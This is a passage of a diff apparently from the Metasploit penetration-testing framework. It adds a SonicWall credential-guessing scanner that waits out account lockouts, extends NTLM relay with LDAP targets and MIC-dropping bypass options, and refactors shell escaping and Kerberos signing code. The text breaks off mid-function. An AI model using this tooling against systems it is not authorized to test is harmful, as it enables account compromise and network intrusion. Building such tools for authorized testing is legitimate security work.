Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64 GNU/Linux
|
||||
pwd
|
||||
/var/www/html/InvoiceShelf/public
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations.
|
||||
@@ -0,0 +1,153 @@
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
# SonicWall Login Scanner supporting
|
||||
# - User Login
|
||||
# - Admin Login
|
||||
class SonicWall < HTTP
|
||||
|
||||
DEFAULT_SSL_PORT = [443, 4433]
|
||||
LIKELY_PORTS = [443, 4433]
|
||||
LIKELY_SERVICE_NAMES = [
|
||||
'SonicWall Network Security'
|
||||
]
|
||||
PRIVATE_TYPES = [:password]
|
||||
REALM_KEY = nil
|
||||
|
||||
def initialize(scanner_config, domain)
|
||||
@domain = domain
|
||||
super(scanner_config)
|
||||
end
|
||||
|
||||
def req_params_base
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('/api/sonicos/auth'),
|
||||
'ctype' => 'application/json',
|
||||
# Force SSL as the application uses non-standard TCP port for HTTPS - 4433
|
||||
'ssl' => true
|
||||
}
|
||||
end
|
||||
|
||||
def auth_details_req
|
||||
params = req_params_base
|
||||
|
||||
#
|
||||
# Admin and SSLVPN user login procedure differs only in usage of domain field in JSON data
|
||||
#
|
||||
params.merge!({
|
||||
'data' => JSON.pretty_generate(@domain.empty? ? {
|
||||
'override' => false,
|
||||
'snwl' => true
|
||||
} : { 'domain' => @domain, 'override' => false, 'snwl' => true })
|
||||
})
|
||||
return params
|
||||
end
|
||||
|
||||
def auth_req(header)
|
||||
params = req_params_base
|
||||
|
||||
params.merge!({
|
||||
'headers' =>
|
||||
{
|
||||
'Authorization' => header.join(', ')
|
||||
}
|
||||
})
|
||||
|
||||
params.merge!({
|
||||
'data' => JSON.pretty_generate(@domain.empty? ? {
|
||||
'override' => false,
|
||||
'snwl' => true
|
||||
} : { 'domain' => @domain, 'override' => false, 'snwl' => true })
|
||||
})
|
||||
|
||||
return params
|
||||
end
|
||||
|
||||
def get_auth_details(username, password)
|
||||
send_request(auth_details_req)
|
||||
end
|
||||
|
||||
def try_login(header)
|
||||
send_request(auth_req(header))
|
||||
end
|
||||
|
||||
def get_resp_msg(msg)
|
||||
msg.dig('status', 'info', 0, 'message')
|
||||
end
|
||||
|
||||
def check_setup
|
||||
request_params = {
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/sonicui/7/login/')
|
||||
}
|
||||
res = send_request(request_params)
|
||||
if res&.code == 200 && res.body&.include?('SonicWall')
|
||||
return false
|
||||
end
|
||||
|
||||
'Unable to locate "SonicWall" in body. (Is this really SonicWall?)'
|
||||
end
|
||||
|
||||
#
|
||||
# The login procedure is two-step procedure for SonicWall due to HTTP Digest Authentication. In the first request, client receives data,cryptographic hashes and algorithm selection from server. It should calculate final response hash from username, password and additional data received from server. The second request contains all this information.
|
||||
#
|
||||
def do_login(username, password, depth)
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Waiting too long in lockout' } if depth >= 2
|
||||
|
||||
#-- get authentication details from first request
|
||||
res = get_auth_details(username, password)
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Invalid response' } unless res
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Failed to receive a authentication details' } unless res&.headers && res.headers.key?('X-SNWL-Authenticate')
|
||||
|
||||
res.headers['X-SNWL-Authenticate'] =~ /Digest (.*)/
|
||||
|
||||
parameters = {}
|
||||
::Regexp.last_match(1).split(/,[[:space:]]*/).each do |p|
|
||||
k, v = p.split('=', 2)
|
||||
parameters[k] = v.gsub('"', '')
|
||||
end
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Incorrect authentication header' } if parameters.empty?
|
||||
|
||||
digest_auth = Rex::Proto::Http::AuthDigest.new
|
||||
auth_header = digest_auth.digest(username, password, 'POST', '/api/sonicos/auth', parameters)
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Could not calculate hash' } unless auth_header
|
||||
|
||||
#-- send the actual request with all hashes and information
|
||||
|
||||
res = try_login(auth_header)
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res&.code == 200
|
||||
|
||||
|
||||
msg_json = res.get_json_document
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res.to_s } unless msg_json
|
||||
msg = get_resp_msg(msg_json)
|
||||
|
||||
if msg == 'User is locked out'
|
||||
sleep(5 * 60)
|
||||
return do_login(username, password, depth + 1)
|
||||
end
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: msg }
|
||||
end
|
||||
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
credential: credential,
|
||||
host: @host,
|
||||
port: @port,
|
||||
protocol: 'tcp',
|
||||
service_name: 'sonicwall'
|
||||
}
|
||||
result_options.merge!(do_login(credential.public, credential.private, 1))
|
||||
Result.new(result_options)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -94,6 +94,10 @@ module Metasploit
|
||||
info
|
||||
end
|
||||
|
||||
def self.is_posix(platform)
|
||||
return ['unifi','linux','osx','solaris','bsd','hpux','aix'].include?(platform)
|
||||
end
|
||||
|
||||
def self.get_platform_from_info(info)
|
||||
case info
|
||||
when /unifi\.version|UniFiSecurityGateway/i # Ubiquiti Unifi. uname -a is left in, so we got to pull before Linux
|
||||
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.4.52"
|
||||
VERSION = "6.4.54"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -215,6 +215,11 @@ Shell Banner:
|
||||
print_line
|
||||
end
|
||||
|
||||
def escape_arg(arg)
|
||||
# By default we don't know what the escaping is. It's not ideal, but subclasses should do their own appropriate escaping
|
||||
arg
|
||||
end
|
||||
|
||||
def cmd_background(*args)
|
||||
if !args.empty?
|
||||
# We assume that background does not need arguments
|
||||
|
||||
@@ -6,43 +6,8 @@ module Msf::Sessions
|
||||
super
|
||||
end
|
||||
|
||||
def shell_command_token(cmd,timeout = 10)
|
||||
shell_command_token_unix(cmd,timeout)
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a command that can be run in this command shell
|
||||
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
|
||||
def to_cmd(cmd_and_args)
|
||||
self.class.to_cmd(cmd_and_args)
|
||||
end
|
||||
|
||||
# Escape an individual argument per Unix shell rules
|
||||
# @param arg [String] Shell argument
|
||||
def escape_arg(arg)
|
||||
self.class.escape_arg(arg)
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a command that can be run in this command shell
|
||||
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
|
||||
def self.to_cmd(cmd_and_args)
|
||||
escaped = cmd_and_args.map do |arg|
|
||||
escape_arg(arg)
|
||||
end
|
||||
|
||||
escaped.join(' ')
|
||||
end
|
||||
|
||||
# Escape an individual argument per Unix shell rules
|
||||
# @param arg [String] Shell argument
|
||||
def self.escape_arg(arg)
|
||||
quote_requiring = ['\\', '`', '(', ')', '<', '>', '&', '|', ' ', '@', '"', '$', ';']
|
||||
result = CommandShell._glue_cmdline_escape(arg, quote_requiring, "'", "\\'", "'")
|
||||
if result == ''
|
||||
result = "''"
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
include Msf::Sessions::UnixEscaping
|
||||
extend Msf::Sessions::UnixEscaping
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -6,114 +6,7 @@ module Msf::Sessions
|
||||
super
|
||||
end
|
||||
|
||||
def self.space_chars
|
||||
[' ', '\t', '\v']
|
||||
end
|
||||
|
||||
def shell_command_token(cmd,timeout = 10)
|
||||
shell_command_token_win32(cmd,timeout)
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a command that can be run in this command shell
|
||||
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
|
||||
def to_cmd(cmd_and_args)
|
||||
self.class.to_cmd(cmd_and_args)
|
||||
end
|
||||
|
||||
# Escape a process for the command line
|
||||
# @param executable [String] The process to launch
|
||||
def self.escape_cmd(executable)
|
||||
needs_quoting = space_chars.any? do |char|
|
||||
executable.include?(char)
|
||||
end
|
||||
|
||||
if needs_quoting
|
||||
executable = "\"#{executable}\""
|
||||
end
|
||||
|
||||
executable
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a commandline that can be passed to CreateProcessAsUserW.
|
||||
# @param args [Array<String>] The arguments to the process
|
||||
# @remark The difference between this and `to_cmd` is that the output of `to_cmd` is expected to be passed
|
||||
# to cmd.exe, whereas this is expected to be passed directly to the Win32 API, anticipating that it
|
||||
# will in turn be interpreted by CommandLineToArgvW.
|
||||
def self.argv_to_commandline(args)
|
||||
escaped_args = args.map do |arg|
|
||||
escape_arg(arg)
|
||||
end
|
||||
|
||||
escaped_args.join(' ')
|
||||
end
|
||||
|
||||
# Escape an individual argument per Windows shell rules
|
||||
# @param arg [String] Shell argument
|
||||
def self.escape_arg(arg)
|
||||
needs_quoting = space_chars.any? do |char|
|
||||
arg.include?(char)
|
||||
end
|
||||
|
||||
# Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote
|
||||
# We need to send double the number of backslashes to make it work as expected
|
||||
# See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks
|
||||
arg = arg.gsub(/(\\*)"/, '\\1\\1"')
|
||||
|
||||
# Quotes need to be escaped
|
||||
arg = arg.gsub('"', '\\"')
|
||||
|
||||
if needs_quoting
|
||||
# At the end of the argument, we're about to add another quote - so any backslashes need to be doubled here too
|
||||
arg = arg.gsub(/(\\*)$/, '\\1\\1')
|
||||
arg = "\"#{arg}\""
|
||||
end
|
||||
|
||||
# Empty string needs to be coerced to have a value
|
||||
arg = '""' if arg == ''
|
||||
|
||||
arg
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a command that can be run in this command shell
|
||||
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
|
||||
def self.to_cmd(cmd_and_args)
|
||||
# The space, caret and quote chars need to be inside double-quoted strings.
|
||||
# The percent character needs to be escaped using a caret char, while being outside a double-quoted string.
|
||||
#
|
||||
# Situations where these two situations combine are going to be the trickiest cases: something that has quote-requiring
|
||||
# characters (e.g. spaces), but which also needs to avoid expanding an environment variable. In this case,
|
||||
# the string needs to end up being partially quoted; with parts of the string in quotes, but others (i.e. bits with percents) not.
|
||||
# For example:
|
||||
# 'env var is %temp%, yes, %TEMP%' needs to end up as '"env var is "^%temp^%", yes, "^%TEMP^%'
|
||||
#
|
||||
# There is flexibility in how you might implement this, but I think this one looks the most "human" to me,
|
||||
# which would make it less signaturable.
|
||||
#
|
||||
# To do this, we'll consider each argument character-by-character. Each time we encounter a percent sign, we break out of any quotes
|
||||
# (if we've been inside them in the current "token"), and then start a new "token".
|
||||
|
||||
quote_requiring = ['"', '^', ' ', "\t", "\v", '&', '<', '>', '|']
|
||||
|
||||
escaped_cmd_and_args = cmd_and_args.map do |arg|
|
||||
# Escape quote chars by doubling them up, except those preceeded by a backslash (which are already effectively escaped, and handled below)
|
||||
arg = arg.gsub(/([^\\])"/, '\\1""')
|
||||
arg = arg.gsub(/^"/, '""')
|
||||
|
||||
result = CommandShell._glue_cmdline_escape(arg, quote_requiring, '%', '^%', '"')
|
||||
|
||||
# Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote
|
||||
# We need to send double the number of backslashes to make it work as expected
|
||||
# See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks
|
||||
result.gsub!(/(\\*)"/, '\\1\\1"')
|
||||
|
||||
# Empty string needs to be coerced to have a value
|
||||
result = '""' if result == ''
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
escaped_cmd_and_args.join(' ')
|
||||
end
|
||||
include Msf::Sessions::WindowsEscaping
|
||||
extend Msf::Sessions::WindowsEscaping
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -238,6 +238,13 @@ module Msf::Sessions
|
||||
def bootstrap(datastore = {}, handler = nil)
|
||||
# this won't work after the rstream is initialized, so do it first
|
||||
@platform = Metasploit::Framework::Ssh::Platform.get_platform(ssh_connection)
|
||||
if @platform == 'windows'
|
||||
extend(Msf::Sessions::WindowsEscaping)
|
||||
elsif Metasploit::Framework::Ssh::Platform.is_posix(@platform)
|
||||
extend(Msf::Sessions::UnixEscaping)
|
||||
else
|
||||
raise ::Net::SSH::Exception.new("Unknown platform: #{platform}")
|
||||
end
|
||||
|
||||
# if the platform is known, it was recovered by communicating with the device, so skip verification, also not all
|
||||
# shells accessed through SSH may respond to the echo command issued for verification as expected
|
||||
|
||||
Executable
+27
@@ -0,0 +1,27 @@
|
||||
module Msf::Sessions
|
||||
module UnixEscaping
|
||||
def shell_command_token(cmd,timeout = 10)
|
||||
shell_command_token_unix(cmd,timeout)
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a command that can be run in this command shell
|
||||
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
|
||||
def to_cmd(cmd_and_args)
|
||||
escaped = cmd_and_args.map { |arg| escape_arg(arg) }
|
||||
|
||||
escaped.join(' ')
|
||||
end
|
||||
|
||||
# Escape an individual argument per Unix shell rules
|
||||
# @param arg [String] Shell argument
|
||||
def escape_arg(arg)
|
||||
quote_requiring = ['\\', '`', '(', ')', '<', '>', '&', '|', ' ', '@', '"', '$', ';']
|
||||
result = CommandShell._glue_cmdline_escape(arg, quote_requiring, "'", "\\'", "'")
|
||||
if result == ''
|
||||
result = "''"
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
end
|
||||
end
|
||||
Executable
+102
@@ -0,0 +1,102 @@
|
||||
module Msf::Sessions
|
||||
module WindowsEscaping
|
||||
def space_chars
|
||||
[' ', '\t', '\v']
|
||||
end
|
||||
|
||||
def shell_command_token(cmd,timeout = 10)
|
||||
shell_command_token_win32(cmd,timeout)
|
||||
end
|
||||
|
||||
# Escape a process for the command line
|
||||
# @param executable [String] The process to launch
|
||||
def escape_cmd(executable)
|
||||
needs_quoting = space_chars.any? do |char|
|
||||
executable.include?(char)
|
||||
end
|
||||
|
||||
if needs_quoting
|
||||
executable = "\"#{executable}\""
|
||||
end
|
||||
|
||||
executable
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a commandline that can be passed to CreateProcessAsUserW.
|
||||
# @param args [Array<String>] The arguments to the process
|
||||
# @remark The difference between this and `to_cmd` is that the output of `to_cmd` is expected to be passed
|
||||
# to cmd.exe, whereas this is expected to be passed directly to the Win32 API, anticipating that it
|
||||
# will in turn be interpreted by CommandLineToArgvW.
|
||||
def argv_to_commandline(args)
|
||||
escaped_args = args.map { |arg| escape_arg(arg) }
|
||||
|
||||
escaped_args.join(' ')
|
||||
end
|
||||
|
||||
# Escape an individual argument per Windows shell rules
|
||||
# @param arg [String] Shell argument
|
||||
def escape_arg(arg)
|
||||
needs_quoting = space_chars.any? { |char| arg.include?(char) }
|
||||
|
||||
# Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote
|
||||
# We need to send double the number of backslashes to make it work as expected
|
||||
# See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks
|
||||
arg = arg.gsub(/(\\*)"/, '\\1\\1"')
|
||||
|
||||
# Quotes need to be escaped
|
||||
arg = arg.gsub('"', '\\"')
|
||||
|
||||
if needs_quoting
|
||||
# At the end of the argument, we're about to add another quote - so any backslashes need to be doubled here too
|
||||
arg = arg.gsub(/(\\*)$/, '\\1\\1')
|
||||
arg = "\"#{arg}\""
|
||||
end
|
||||
|
||||
# Empty string needs to be coerced to have a value
|
||||
arg = '""' if arg == ''
|
||||
|
||||
arg
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a command that can be run in this command shell
|
||||
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
|
||||
def to_cmd(cmd_and_args)
|
||||
# The space, caret and quote chars need to be inside double-quoted strings.
|
||||
# The percent character needs to be escaped using a caret char, while being outside a double-quoted string.
|
||||
#
|
||||
# Situations where these two situations combine are going to be the trickiest cases: something that has quote-requiring
|
||||
# characters (e.g. spaces), but which also needs to avoid expanding an environment variable. In this case,
|
||||
# the string needs to end up being partially quoted; with parts of the string in quotes, but others (i.e. bits with percents) not.
|
||||
# For example:
|
||||
# 'env var is %temp%, yes, %TEMP%' needs to end up as '"env var is "^%temp^%", yes, "^%TEMP^%'
|
||||
#
|
||||
# There is flexibility in how you might implement this, but I think this one looks the most "human" to me,
|
||||
# which would make it less signaturable.
|
||||
#
|
||||
# To do this, we'll consider each argument character-by-character. Each time we encounter a percent sign, we break out of any quotes
|
||||
# (if we've been inside them in the current "token"), and then start a new "token".
|
||||
|
||||
quote_requiring = ['"', '^', ' ', "\t", "\v", '&', '<', '>', '|']
|
||||
|
||||
escaped_cmd_and_args = cmd_and_args.map do |arg|
|
||||
# Escape quote chars by doubling them up, except those preceeded by a backslash (which are already effectively escaped, and handled below)
|
||||
arg = arg.gsub(/([^\\])"/, '\\1""')
|
||||
arg = arg.gsub(/^"/, '""')
|
||||
|
||||
result = CommandShell._glue_cmdline_escape(arg, quote_requiring, '%', '^%', '"')
|
||||
|
||||
# Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote
|
||||
# We need to send double the number of backslashes to make it work as expected
|
||||
# See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks
|
||||
result.gsub!(/(\\*)"/, '\\1\\1"')
|
||||
|
||||
# Empty string needs to be coerced to have a value
|
||||
result = '""' if result == ''
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
escaped_cmd_and_args.join(' ')
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -58,8 +58,9 @@ module Auxiliary
|
||||
raise MissingActionError, "Please use: #{mod.actions.collect {|e| e.name} * ", "}"
|
||||
end
|
||||
|
||||
# Verify the options
|
||||
mod.options.validate(mod.datastore)
|
||||
# Validate the option container state so that options will
|
||||
# be normalized
|
||||
mod.validate
|
||||
|
||||
# Initialize user interaction
|
||||
if ! opts['Quiet']
|
||||
|
||||
@@ -79,7 +79,7 @@ module Exploit
|
||||
end
|
||||
|
||||
# Verify the options
|
||||
exploit.options.validate(exploit.datastore)
|
||||
exploit.validate
|
||||
|
||||
# Start it up
|
||||
driver = Msf::ExploitDriver.new(exploit.framework)
|
||||
|
||||
@@ -55,7 +55,7 @@ module Post
|
||||
end
|
||||
|
||||
# Verify the options
|
||||
mod.options.validate(mod.datastore)
|
||||
mod.validate
|
||||
|
||||
# Initialize user interaction
|
||||
if ! opts['Quiet']
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for modules which intend to handle multiple hosts
|
||||
# themselves through some means, e.g. scanners. This circumvents the typical
|
||||
# RHOSTS -> RHOST logic offered by the framework.
|
||||
#
|
||||
###
|
||||
|
||||
module Auxiliary::MultipleTargetHosts
|
||||
|
||||
def has_check?
|
||||
respond_to?(:check_host)
|
||||
end
|
||||
|
||||
def check
|
||||
nmod = replicant
|
||||
begin
|
||||
nmod.check_host(datastore['RHOST'])
|
||||
rescue NoMethodError
|
||||
Exploit::CheckCode::Unsupported
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -10,6 +10,8 @@ module Msf
|
||||
|
||||
module Auxiliary::Scanner
|
||||
|
||||
include Msf::Auxiliary::MultipleTargetHosts
|
||||
|
||||
class AttemptFailed < Msf::Auxiliary::Failed
|
||||
end
|
||||
|
||||
@@ -31,20 +33,6 @@ def initialize(info = {})
|
||||
|
||||
end
|
||||
|
||||
def has_check?
|
||||
respond_to?(:check_host)
|
||||
end
|
||||
|
||||
def check
|
||||
nmod = replicant
|
||||
begin
|
||||
nmod.check_host(datastore['RHOST'])
|
||||
rescue NoMethodError
|
||||
Exploit::CheckCode::Unsupported
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def peer
|
||||
# IPv4 addr can be 16 chars + 1 for : and + 5 for port
|
||||
super.ljust(21)
|
||||
|
||||
@@ -238,9 +238,9 @@ module Msf
|
||||
# @param auth_pack [Rex::Proto::Kerberos::Model::Pkinit::AuthPack] The AuthPack to sign
|
||||
# @param key [OpenSSL::PKey] The private key to digitally sign the data
|
||||
# @param dh [OpenSSL::X509::Certificate] The certificate associated with the private key
|
||||
# @return [Rex::Proto::Kerberos::Model::Pkinit::ContentInfo] The signed AuthPack
|
||||
# @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed AuthPack
|
||||
def sign_auth_pack(auth_pack, key, certificate)
|
||||
signer_info = Rex::Proto::Kerberos::Model::Pkinit::SignerInfo.new(
|
||||
signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new(
|
||||
version: 1,
|
||||
sid: {
|
||||
issuer: certificate.issuer,
|
||||
@@ -268,7 +268,7 @@ module Msf
|
||||
|
||||
signer_info[:signature] = signature
|
||||
|
||||
signed_data = Rex::Proto::Kerberos::Model::Pkinit::SignedData.new(
|
||||
signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new(
|
||||
version: 3,
|
||||
digest_algorithms: [
|
||||
{
|
||||
@@ -283,9 +283,9 @@ module Msf
|
||||
signer_infos: [signer_info]
|
||||
)
|
||||
|
||||
Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.new(
|
||||
Rex::Proto::CryptoAsn1::Cms::ContentInfo.new(
|
||||
content_type: Rex::Proto::Kerberos::Model::OID::SignedData,
|
||||
signed_data: signed_data
|
||||
data: signed_data
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -306,7 +306,7 @@ module Exploit::Remote::MsIcpr
|
||||
# @param [OpenSSL::X509::Certificate] cert The public key to use for signing the request.
|
||||
# @param [OpenSSL::PKey::RSA] key The private key to use for signing the request.
|
||||
# @param [String] algorithm The digest algorithm to use.
|
||||
# @return [Rex::Proto::Kerberos::Model::Pkinit::ContentInfo] The signed request content.
|
||||
# @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed request content.
|
||||
def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256')
|
||||
# algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined
|
||||
digest = OpenSSL::Digest.new(algorithm)
|
||||
@@ -316,7 +316,7 @@ module Exploit::Remote::MsIcpr
|
||||
|
||||
digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name)
|
||||
|
||||
signer_info = Rex::Proto::Kerberos::Model::Pkinit::SignerInfo.new(
|
||||
signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new(
|
||||
version: 1,
|
||||
sid: {
|
||||
issuer: cert.issuer,
|
||||
@@ -349,7 +349,7 @@ module Exploit::Remote::MsIcpr
|
||||
|
||||
signer_info[:signature] = signature
|
||||
|
||||
signed_data = Rex::Proto::Kerberos::Model::Pkinit::SignedData.new(
|
||||
signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new(
|
||||
version: 3,
|
||||
digest_algorithms: [
|
||||
{
|
||||
@@ -364,9 +364,9 @@ module Exploit::Remote::MsIcpr
|
||||
signer_infos: [signer_info]
|
||||
)
|
||||
|
||||
Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.new(
|
||||
Rex::Proto::CryptoAsn1::Cms::ContentInfo.new(
|
||||
content_type: Rex::Proto::Kerberos::Model::OID::SignedData,
|
||||
signed_data: signed_data
|
||||
data: signed_data
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
@@ -122,17 +122,21 @@ module Msf::Exploit::Remote::SMB::Client::KerberosAuthentication
|
||||
|
||||
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/7fd079ca-17e6-4f02-8449-46b606ea289c
|
||||
if @dialect == '0x0300' || @dialect == '0x0302'
|
||||
@application_key = RubySMB::Crypto::KDF.counter_mode(
|
||||
@application_key = Rex::Crypto::KeyDerivation::NIST_SP_800_108.counter_hmac(
|
||||
@session_key,
|
||||
"SMB2APP\x00",
|
||||
"SmbRpc\x00"
|
||||
)
|
||||
16,
|
||||
'SHA256',
|
||||
label: "SMB2APP\x00",
|
||||
context: "SmbRpc\x00"
|
||||
).first
|
||||
else
|
||||
@application_key = RubySMB::Crypto::KDF.counter_mode(
|
||||
@application_key = Rex::Crypto::KeyDerivation::NIST_SP_800_108.counter_hmac(
|
||||
@session_key,
|
||||
"SMBAppKey\x00",
|
||||
@preauth_integrity_hash_value
|
||||
)
|
||||
16,
|
||||
'SHA256',
|
||||
label: "SMBAppKey\x00",
|
||||
context: @preauth_integrity_hash_value
|
||||
).first
|
||||
end
|
||||
# otherwise, leave encryption to the default value that it was initialized to
|
||||
end
|
||||
|
||||
@@ -29,8 +29,12 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
return super(request, session)
|
||||
end
|
||||
|
||||
|
||||
logger.print_status("Relaying to next target #{session.metadata[:relay_target]}")
|
||||
|
||||
if session.metadata[:relay_target].protocol == :smb && session.metadata[:relay_target].ip == peerhost
|
||||
logger.print_warning('Relaying SMB to SMB on the same host will not work if the target has been patched for MS08-068')
|
||||
end
|
||||
|
||||
relayed_connection = create_relay_client(
|
||||
session.metadata[:relay_target],
|
||||
@relay_timeout
|
||||
@@ -88,7 +92,7 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
return response
|
||||
end
|
||||
|
||||
relay_result = self.relay_ntlmssp(session, request.buffer)
|
||||
relay_result = self.relay_ntlmssp(session, request.buffer.to_binary_s)
|
||||
return if relay_result.nil?
|
||||
|
||||
response = ::RubySMB::SMB2::Packet::SessionSetupResponse.new
|
||||
@@ -99,7 +103,7 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
response.smb2_header.nt_status = relay_result.nt_status.value
|
||||
if relay_result.nt_status == ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
|
||||
response.smb2_header.nt_status = ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED.value
|
||||
response.buffer = relay_result.message.serialize
|
||||
response.buffer = relay_result.message.serialize if relay_result.message
|
||||
|
||||
if @dialect == '0x0311'
|
||||
update_preauth_hash(response)
|
||||
@@ -138,7 +142,18 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
# Choose the next machine to relay to, and send the incoming security buffer to the relay target
|
||||
if ntlm_message.is_a?(::Net::NTLM::Message::Type1)
|
||||
relayed_connection = session.metadata[:relayed_connection]
|
||||
logger.info("Relaying NTLM type 1 message to #{relayed_connection.target.ip} (Always Sign: #{ntlm_message.has_flag?(:ALWAYS_SIGN)}, Sign: #{ntlm_message.has_flag?(:SIGN)}, Seal: #{ntlm_message.has_flag?(:SEAL)})")
|
||||
logger.info(
|
||||
"Relaying NTLM type 1 message to #{relayed_connection.target} "\
|
||||
"(Always Sign: #{ntlm_message.has_flag?(:ALWAYS_SIGN)}, "\
|
||||
"Sign: #{ntlm_message.has_flag?(:SIGN)}, Seal: #{ntlm_message.has_flag?(:SEAL)})"
|
||||
)
|
||||
|
||||
if relayed_connection.target.drop_mic_and_sign_key_exch_flags
|
||||
incoming_security_buffer = do_drop_mic_and_flags(ntlm_message)
|
||||
elsif relayed_connection.target.drop_mic_only
|
||||
incoming_security_buffer = do_drop_mic(ntlm_message)
|
||||
end
|
||||
|
||||
relay_result = relayed_connection.relay_ntlmssp_type1(incoming_security_buffer)
|
||||
return nil unless relay_result&.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
|
||||
|
||||
@@ -157,6 +172,13 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
elsif ntlm_message.is_a?(::Net::NTLM::Message::Type3)
|
||||
relayed_connection = session.metadata[:relayed_connection]
|
||||
logger.info("Relaying #{ntlm_message.ntlm_version == :ntlmv2 ? 'NTLMv2' : 'NTLMv1'} type 3 message to #{relayed_connection.target} as #{session.metadata[:identity]}")
|
||||
|
||||
if relayed_connection.target.drop_mic_and_sign_key_exch_flags
|
||||
incoming_security_buffer = do_drop_mic_and_flags(ntlm_message)
|
||||
elsif relayed_connection.target.drop_mic_only
|
||||
incoming_security_buffer = do_drop_mic(ntlm_message)
|
||||
end
|
||||
|
||||
relay_result = relayed_connection.relay_ntlmssp_type3(incoming_security_buffer)
|
||||
|
||||
is_success = relay_result&.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
|
||||
@@ -208,6 +230,8 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
client = Target::HTTP::Client.create(self, target, logger, timeout)
|
||||
when :smb
|
||||
client = Target::SMB::Client.create(self, target, logger, timeout)
|
||||
when :ldap
|
||||
client = Target::LDAP::Client.create(self, target, logger, timeout)
|
||||
else
|
||||
raise RuntimeError, "unsupported protocol: #{target.protocol}"
|
||||
end
|
||||
@@ -224,5 +248,22 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
|
||||
logger.print_error msg
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
def do_drop_mic(ntlm_message)
|
||||
logger.info('Dropping MIC')
|
||||
ntlm_message.serialize
|
